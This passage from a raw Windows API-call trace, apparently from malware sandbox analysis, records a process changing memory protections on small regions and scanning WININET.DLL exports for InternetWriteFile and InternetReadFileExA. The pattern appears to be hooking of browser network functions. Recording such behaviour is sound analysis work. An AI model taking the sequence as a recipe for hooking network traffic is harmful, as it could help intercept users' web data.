hHeap=0x2390000) returned 1 [0073.486] VirtualProtect (in: lpAddress=0x76998600, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.486] VirtualProtect (in: lpAddress=0x76998600, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.487] VirtualProtect (in: lpAddress=0x768e2a90, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.487] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.487] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.487] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e950 [0073.487] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="DllInstall", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetWriteFile") returned -1 [0073.487] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetWriteFile") returned -1 [0073.488] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetWriteFile") returned -1 [0073.489] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetDial", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetDialA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetDialW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetWriteFile") returned -1 [0073.490] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetReadFileExA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetReadFileExW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetSecurityProtocolToStringA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetSecurityProtocolToStringW", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetSetCookieA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetSetCookieExA", lpString2="InternetWriteFile") returned -1 [0073.491] lstrcmpA (lpString1="InternetSetCookieExW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetCookieW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetDialState", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetDialStateA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetDialStateW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetFilePointer", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetOptionA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetOptionExA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetOptionExW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetOptionW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetStatusCallback", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetStatusCallbackA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetSetStatusCallbackW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetShowSecurityInfoByURL", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetShowSecurityInfoByURLA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetTimeFromSystemTime", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetTimeFromSystemTimeA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetTimeFromSystemTimeW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetTimeToSystemTime", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetTimeToSystemTimeA", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetTimeToSystemTimeW", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetUnlockRequestFile", lpString2="InternetWriteFile") returned -1 [0073.492] lstrcmpA (lpString1="InternetWriteFile", lpString2="InternetWriteFile") returned 0 [0073.492] VirtualProtect (in: lpAddress=0x768e2b10, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.492] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.492] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.492] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.492] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.493] VirtualProtect (in: lpAddress=0x76998605, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.493] VirtualProtect (in: lpAddress=0x76998605, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.493] VirtualProtect (in: lpAddress=0x768e2b10, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.494] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.494] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.494] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e988 [0073.494] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="DllInstall", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0073.494] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExA") returned -1 [0073.495] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetReadFileExA") returned -1 [0073.496] lstrcmpA 